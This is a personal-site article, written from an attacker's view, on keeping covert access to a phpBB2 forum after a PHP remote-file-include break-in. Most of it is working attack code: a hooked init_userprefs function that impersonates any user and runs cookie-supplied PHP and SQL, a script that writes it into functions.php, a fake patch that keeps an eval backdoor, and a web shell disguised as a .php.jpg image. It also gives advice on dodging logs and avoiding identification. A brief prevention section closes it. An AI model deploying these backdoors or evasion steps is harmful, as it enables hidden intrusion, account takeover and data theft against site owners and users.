kestas.kuliukas.com

A look at a phpBB2 "webkit", and "webkits" in general

This is all entirely hypothetical, I won't accept responsibility, etc.

This text looks at an attack on a particular website on a shared host. I think with websites getting more dynamic and scripted, and with Zend and hosting provider's current attitudes toward security, these sorts of attacks will only get more common.
It is written from the POV of an attacker, but for an admin/webmaster.

Contents

Exploit

I'm not going to go into much detail about the exploit itself, but mostly look at what happened afterwards.

Basically the exploit is a PHP register_globals one. These are way too common, and it's appalling that hosting providers don't disable it.
The vulnerable script is a set of functions included by other scripts. "inc/glob.inc.php" also only contains functions. The vulnerable code doesn't necessarily raise alarm bells when you first see it, at least not unless you're familiar with PHP security.



inc/func.inc.php:

<?php

include($cwd . 'inc/glob.inc.php');

function foobar () {
[...]
}

?>

Which would be called with

<?php

define("PROPER_ENTRY", 1);
$cwd = getcwd();
include($cwd . 'inc/func.inc.php');

[...]
?>

The problem is include($cwd . 'inc/glob.inc.php'); with register_globals on you can write to $cwd, and include anything that has inc/glob.inc.php at the end.

You can see why that might be a concern; maybe the script is running on a shared host and you can let $cwd="../myaccount/, or maybe there's another vulnerability which this can be used with to execute uploaded files.
It's not immediately obvious that this is vulnerable without needing any other vulnerabilities, and without needing anything malicious that ends with inc/glob.inc.php on the server.

For a reason which is totally beyond me, and seems to be asking for serious security problems, Zend wrote include() to use fopen. This means that you can include URLs!
If you use a ? at the end you can have the server ignore the inc/glob.inc.php, and upload a malicious script to anywhere that you can easily write a text file anonymously.
The include becomes include('http://anyserver.com/upload/upload_9382?inc/glob.inc.php'), and we can run whatever PHP we want on the server.

Goals

If we wanted to trash/deface the website we would now be set, but usually you have a certain objective. You might want to be able to keep tabs on what is happening in a moderator's forum, you might be after a certain user's password in the hopes that it'll allow you to gain entry elsewhere, or perhaps you want to be able to post under the guise of someone else to be able deliver a trojan more effectively.
If your motives are non-trivial you'll want to be able to keep your position on the website, and this is what I'll be focusing on in this doc. In particular I'll be looking at phpBB2; it is open source, doesn't change often, widely used, and a common target.


When you break into a machine you use a rootkit to hide in the kernel, close the hole that you came in through, delete any evidence of the breach, and be able to return whenever you want. However on a web host, where the objective is limited to accessing resources the www user can access, getting root is not only unnecessary, it's also much harder and more dangerous.

The aim I'm going to look at, now that we can run our code on the server, is to try and hide in the user's scripts instead of within the kernel. Webkit is a tech term already being used by Apple though, too bad. (but I'll use my own meaning here)

Running through tor and privoxy, which routes your packets through 3 nodes and fakes user agents, etc, you're not particularly worried about getting tracked down (more on this later), but having the breach discovered is still a concern. Depending on your motives it probably defeats the whole object.
By not trying to poke our way out of www's space no alarm bells should be raised as long as we are careful. The problem is that because we're not using a rootkit we won't be able to get the kernel to give false information; we can't delete logs, hide connections, or make files look like they haven't been changed when they have.


We need some code that will patch the vulnerability we came in through, give ourselves the ability to run new code whenever we want, be able to perform functions that we may frequently want to do (run under different credentials in phpBB2, allow ourselves to silently run additional code, run SQL and give the results), and run from a place which is well hidden and won't be removed or updated. And it has to be able to do it all without giving so much as a hint of malicious activity, because the kernel is off limits and will report accurate information.


The hints the code might give involve changing anything that the users or admins see. Even the poorest admins may well check logs. We can't have GET /inc/func.inc.php?env=http://server.com/upload/upload_9382? showing up in the logs when all other records are GET /phpBB2/index.php. Patching the vulnerability and hiding code may well convince the admin that the exploit failed, and is perhaps a harmless bot, but it would be better if the admin didn't give the record a second glance. By sending env in a cookie, for example, the log will look like GET /inc/func.inc.php, which is much less suspicious; I've never heard of cookies getting logged. Add to this a patched hole and an admin will have to be quite thorough to guess what happened.

That having been said, one GET /inc/func.inc.php might look like some sort of a glitch or mistake, but many of them in succession from the same IP might arouse suspicions. The first thing we have to do is allow ourselves to run code from a file which is accessed much more commonly and will look innocent even if retrieved over and over. Then, and only then, can we safely patch the vulnerability we used to gain entry.

While changing files it's very important to be aware of the effects the code being run will have. When trying to inject code into a website which gets many visitors you'll be noticed immediately if you change some code and an error is generated such as

Fatal error: Unexpected ')' in exploit_code() in /usr/local/www/wwwroot/index.php on line 192

But at the same time it's best not to be on the safe side and copy the file, alter and test it, and copy it back; you'll have GET /index2.php in the logs.
Getting it right the first time is key, and the only way to do it is to have a copy of the target system set up locally which you can practice with.

Getting it right the first time is key to a professional security breach, and practice, practice, practice is key to getting it right the first time. The server being attacked must be reconstructed locally as accurately as possible. (Covert) data gathering is vital; what script version are you injecting into, will you have to chmod +w the file before being able to patch it, are magic_quotes enabled, are there going to be newline compatibility problems, will the SQL you're using run on the database they're using, will the functions you're calling be available on their version of PHP, etc, etc.
By reconstructing the system as well as possible, and writing code which carefully accounts for all unknowns, the target can be "webkitted" with a single innocent looking request. The target can then be patched with a second request, now being run from the "webkit".

Webkit

So the first thing we want to do is write the webkit. We have to balance functionality with complexity; we don't want to have to enter lots of code whenever we want to perform a common function, but we don't want to have to inject loads of code and thus increase the chances of bugs.
The best approach is to utilize the target script's code as much as possible. This way you can bury the necessary code deep within the target code, and not have to rewrite code to locate and access the database and tables, or authenticate.

In phpBB2, which I'll be focusing on here, I've chosen includes/functions.php: function init_userprefs($userdata) It gets called just after authentication on each page. You could also use includes/sessions.php: function session_pagestart($user_ip, $thispage_id) but this function is more directly to do with authentication, so it may come under closer scrutiny or require more frequent updates than init_userprefs(). Also by using init_userprefs() we can allow authentication to go on as normal, changing our credentials only after getting logged on as ourselves.

The goal is to achieve the desired results with as few changes as possible; the more changes are made the more likely bugs are to crop up, and these bugs may be very revealing.

My first attempt was changing:

function init_userprefs($userdata)
{
        global $board_config, $theme, $images;
        global $template, $lang, $phpEx, $phpbb_root_path, $db;
        global $nav_links;

if ( $userdata['user_id'] != ANONYMOUS )
{

to:

function init_userprefs($userdata)
{
        global $board_config, $theme, $images;
        global $template, $lang, $phpEx, $phpbb_root_path, $db;
        global $nav_links;
        global $userdata, $HTTP_COOKIE_VARS;

        if (isset($c = (int) $HTTP_COOKIE_VARS[phpbb2asdf'])) {
                $sql = "SELECT u.*, s.*
                        FROM " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
                        WHERE u.user_id = ".$c;
                if ( !($result = $db->sql_query($sql)) )
                {
                        message_die(CRITICAL_ERROR, 'Error doing DB query userdata row fetch', '');
                }
                $userdata = $db->sql_fetchrow($result);
        }

        if ( $userdata['user_id'] != ANONYMOUS )
        {

This is on the right track; by changing $userdata after having logged on we can take on someone else's account without actually logging on as them and getting their session etc. As far as anyone else is concerned you're still in your own account (presumably anonymous/guest), but from your point of view you're the user given in the cookie.
However it makes $userdata global so that we can modify it, it creates several new variables, it doesn't look like phpBB code, and it also relies on things like the person who's credentials we want already being in the sessions table.

The final result is:

function init_userprefs(&$userdata)
{
        global $HTTP_COOKIE_VARS, $db;
        extract($HTTP_COOKIE_VARS, EXTR_SKIP);
        
        if ( isset($phpBB2_uid) )
        {
                if ( !setcookie("phpBB2_uid", $phpBB2_uid) )
                {
                        message_die(CRITICAL_ERROR, "Error setting cookie, please enable cookies");
                }
                
                $sql = "SELECT *
                        FROM " . USERS_TABLE . "
                        WHERE user_id = ".$phpBB2_uid;
                if ( !($result = $db->sql_query($sql)) )
                {
                        message_die(CRITICAL_ERROR, "Error doing DB query userdata row fetch", "");
                }
                
                $userdata = array_merge($userdata, $db->sql_fetchrow($result));
                
                $userdata['session_user_id'] = $userdata['user_id'];
                $userdata['session_logged_in'] = ( -1 == $userdata['user_id'] ? false : true );
                $userdata['session_admin'] = ( ADMIN == $userdata['user_level'] );
        }
        elseif ( isset($phpBB2_expr) )
        {
                eval( stripslashes( urldecode($phpBB2_expr) ) );
        }
        elseif ( isset($phpBB2_usrsql) )
        {
                if ( !($result = $db->sql_query($phpBB2_usrsql)) )
                {
                        message_die(CRITICAL_ERROR, "Error doing DB query phpbb usrsql", "");
                }
                
                while($row = $db->sql_fetchrow($result))
                {
                        print nl2br(print_r($row), true);
                }
        }

        return comm_userprefs($userdata);
}
//
// Begin commiting changes to user profile
function comm_userprefs($userdata)
{
        // Original function

        

It uses the classic hook approach; have the malicious function called like the non-malicious function, and once the malicious activity is complete call the original unmodified function.

Now the only variables which can be affected are $userdata and $db. We want to change $userdata, and we can be confident that using $db to execute a query won't have any unintended effects.
The code looks more like phpBB code, so it doesn't stand out and would take more than a glance to tell that it is malicious. (Not much more than a glance though, but this can't be helped.)

It now allows us to impersonate any user which may or may not be logged on, and prevents us from having to reauthenticate as admin. It does this by taking our current session, eg Guest, and combining our session and the target user's credentials into our $userdata. This way we don't have to rely on anyone else's session to exist, and we don't appear as having logged on as the impersonated user.

Invisible admin

This webkit also lets us pass any query we like to the database, and execute PHP, which gives us flexibility if we need it.

Insertion

Now that we have written our webkit let's get back to inserting it.
Another advantage of using a hook approach is that there can be no mistakes when inserting the code (ie no insertions into the wrong place). Simply replace the header for the old function with the identical header of the new function, along with the new function's code, followed by the renamed old function's header.

With $inj as the code to inject the injection code is as simple as:

$location = "./phpBB2/includes/functions.php";
$inj = 'the code above';

if ( !($contents = file_get_contents($location) )
        die("Couldn't read file");

$contents = str_replace('function init_userprefs($userdata)', $inj, $contents);

if( !($resource = @fopen($location, 'wb')) )
        die("Could not open file for binary safe writing");

if ( ! @fwrite($resource, $contents) )
        die("Could not write contents to file");

if ( ! @fclose($resource) )
        die("Could not close file");

die ("Success");

Patch

Once the webkit has been inserted and tested we can use our webkit to execute code which will patch the original vulnerability. Depending on the circumstances it may be a good idea to hide the vulnerability instead of patching it completely. This gives you a way to re-enter if your webkit is removed, and if the vulnerability should have been patched already you can be confident that the vulnerable code is likely to remain unchanged.

inc/func.inc.php:

<?php

include($cwd . 'inc/glob.inc.php');

function foobar () {
[...]
}

?>

To

<?php

// Prevent the script from running if not included
if ( ! defined("PROPER_ENTRY") )
{
        $req_error = urldecode ( ( get_magic_quotes_gpc() ?
                stripslashes( $_REQUEST["PROPER_ENTRY"] ) : $_REQUEST["PROPER_ENTRY"] ) );
        
        die ( isset($_REQUEST["PROPER_ENTRY"]) ?
                "Bad request: " . eval($req_error)
                : "Hacking attempt!" );
}

include($cwd . 'inc/glob.inc.php');

function foobar () {
[...]
}

?>

The vulnerability will appear patched to anyone else attempting to exploit the original vulnerability, but it is still vulnerable.
Depending on the type of admin you are up against the above code may not be advisable. If they see the GET /inc/func.inc.php in the logs and get suspicious the code above won't fool an admin who knows what he's looking for for a second.
The code above also factors in the possibility that register_globals and fopen_url will be disabled, if that seems unlikely the following less blatantly malicious code may be more appropriate:

<?php

// Prevent the script from running if not included
if ( ! defined("PROPER_ENTRY") && ! isset($PROPER_ENTRY) )
        die ( "Hacking attempt!" );

include($cwd . [...]

This will allow you to use the original vulnerability only if you set a cookie with the name PROPER_ENTRY. It won't fool an admin who knows PHP, but it might fool one that doesn't.

It may be better to patch the hole completely if you are up against a skilled admin. In this case the code above will simply be

<?php

// Prevent the script from running if not included
if ( ! defined("PROPER_ENTRY") )
        die ( "Hacking attempt!" );

include($cwd . [...]

The "patch" can be applied with the injection code used previously, modified to run from within the context of our webkit.

Backdoor

So the vulnerability is patched, and we have webkitted the server. We are in a slightly precarious position though; when phpBB gets updated we will be out of the server with no way of getting back in other than finding another vulnerability. Even if we have put a backdoor in the vulnerable code it still relies on the code not getting updated.

We need to insert another more lightweight backdoor somewhere to allow ourselves to get back in should phpBB get updated. This backdoor should be not be identifiable as a backdoor, should be separate to anything that might be removed or updated, and should be able to be put in multiple locations without arousing suspicion.

First we need to find a folder which won't arouse suspicion if another file appears. We can use our webkit to execute some code that will give us a feel for the directory hierarchy.

die('phpBB2_expr='.urlencode('function da($p) {
        $d = array();
        if ( ! ($h=opendir($p)) ) die("No open ".$p);
        print $p."<br />";
        while (false !== ($f=readdir($h))) {
                if ( $f=="." || $f==".." ) continue;
                if (is_dir($p."/".$f)) da($p."/".$f);
                else print $p."/".$f."<br />";
        }
        closedir($h);
        return $d;
}
die(da(".."));').'; ');

This script will encode a function which we can send to our webkit to be executed. Again, the script should be well tested before being executed on the target system.
Now that we have a detailed map of our target we know the best places to hide a file, where the file will go unnoticed and not be updated for as long as possible. Usually image directories, HTML/PHP template directories, or clearly long forgotten miscellaneous directories are on the list of places where a new file won't be noticed.

The backdoor we are going to plant should be separate to other scripts so that it won't get removed in an update, but it should also be discreet. We won't be able to get away with sprinkling backdoor.php across the target's folders.
A script in a directory filled with php scripts is vulnerable to being removed in an update, but a script in a directory with no other scripts is vulnerable to being spotted.

Luckily Apache httpd's has liberal criteria for what it considers to be a script. If a filename has ".php." anywhere inside it, Apache httpd will attempt to execute it.
First we get an image, the image isn't particularly important (but it should be small), and urlencode() it so we can put it inside an ASCII php script. Then we can use the code below to execute our code if we provide it in a cookie, but display the original image if the cookie isn't given.

<?php
$image = "125DE%24DN%E5%E7%E7%B6%5E%9A [...]";
$image = urldecode($image);

if(isset($_REQUEST['phpzend']))
{
        $phpzend = urldecode ( ( get_magic_quotes_gpc() ?
        stripslashes( $_REQUEST['phpzend'] ) :
                $_REQUEST['phpzend']) );
        eval($phpzend);
        die();
}

header('Content-Length: '.strlen($image));
header('Content-Type: image/jpeg');
print $image;
?>

We might decide to name the script zend.php.jpg or powered.by.php.jpg . If someone opens the image locally it won't render, but if it is looked at remotely it will appear to be an image.

Now the file can be uploaded to a site anonymously, and file_get_contents() can be used to download the image using our webkit, and save it to multiple places across the victim's www directory.

Remaining hidden

Now we are rooted firmly in place, the chances are that we will be able to access whatever we want on this server for as long as it is around.
However this is no time to get complacent; all requests should still be done via Tor or another proxy, all requests should be made with caution, bearing in mind that the logs will probably get read.

A smart admin will not raise the alarm if he discovers an attacker. All requests should be made with the assumption that you have been discovered and the admin is waiting for you to slip up.

The times of requests from the attacker can be analyzed; do the times you lodge your requests correlate to the times you normally access the site?
Is your browser info going to give you away? Are you using language fr when you're the only French person to frequent the forums? Is your user agent Opera 9 when you're the user that constantly praises Opera?
Will the admin be able to trace you using cookies? Are you making sure you are removing all the sites cookies before and after sending malicious requests? Will the admin notice any strange missing cookies? If you usually stay logged in with session cookies what will the admin think when, after every time the attacker has visited, you have to log back in?
Will the admin link to an image on an external site which will set a cookie, which you might not think to delete? Will he attempt to run some JavaScript/Flash/Java/ActiveX which will reveal your details?
Will the admin notice that one of his users is often showing how good he is with PHP and security?
Will the admin notice that everything the attacker does has something to do with a user which happens to have some petty but heated feud with another user?

This list is by no means complete; the attacker has to remain constantly on his toes, and always err on the side of paranoia (and then err on the tin-foil-hat and faraday cage side of the side of paranoia). The admin often has to make only one mistake to allow the attacker in, but once the attacker's presence is known the attacker only needs to make one mistake for the admin to know the attacker's identity. The roles are reversed, and all requests have to be made with this in mind.

Prevention

As admins how can we foil these attacks? Prevention is always the best approach; the server which was attacked here should have disabled register_globals, enabled safe_mode, and disabled fopen_urls. If you have the server available to you you can chown -R nobody . to prevent write access to scripts at all times except when updating, and to all folders except those which must be able to be written to.
The disturbing thing about this attack is that there was really nothing the webmaster could have done to prevent it; all the configuration options which would have prevented it can only be changed by an admin of the server. The only thing the webmaster can do is stay up to date with the code he's using, and hope that potential attackers aren't skilled enough to find their own security holes.
I think there ought to be ways of allowing users on shared hosts to "freeze" folders (by chowning them) using some sort of user control panel. When it comes to register_globals, safe_mode, and fopen_urls, there is no question of whether or not they should be enabled. If register_globals is required it only takes extract($_REQUEST) in the necessary scripts to emulate it, and I know of no scripts which break with safe_mode on and fopen_urls off; there's no excuse to enable these dangerous options, and having them as default is asking for trouble (especially when the hosting provider uses security as one of it's main selling points).

Once the attacker has gained entry all is not lost; they cannot alter the kernel, and so it's comparatively easy to remove the attacker's presence and/or trace the attacker. With the kernel uncompromised logs can be trusted, and they should be read very carefully. Strange requests shouldn't be shrugged off, but should be rigorously investigated.
If possible use a script to frequently check the last file modification times of each file on the server with a local listing of the correct times. If any new files appear or any files have changed which have ".php." in the name, you can check them out and replace them if the cause can't be found.

If a webkit is discovered the task of tracking the attacker down begins, which will involve using some of the methods outlined above to try and get information on the attacker. If the attacker is a regular it probably won't take much to identify them, and you can often narrow the number of suspects down immediately based on who is capable of the attack.

Hopefully with some effort the webkit, vulnerability, and attacker can be found and the problem can be resolved, but (without being intentionally alarmist) I think that the lax attitude towards web security should be tackled before the first big php driven database erasing worm or mass phpBB private message trojan comes out (and it'll happen sooner or later).

Appendix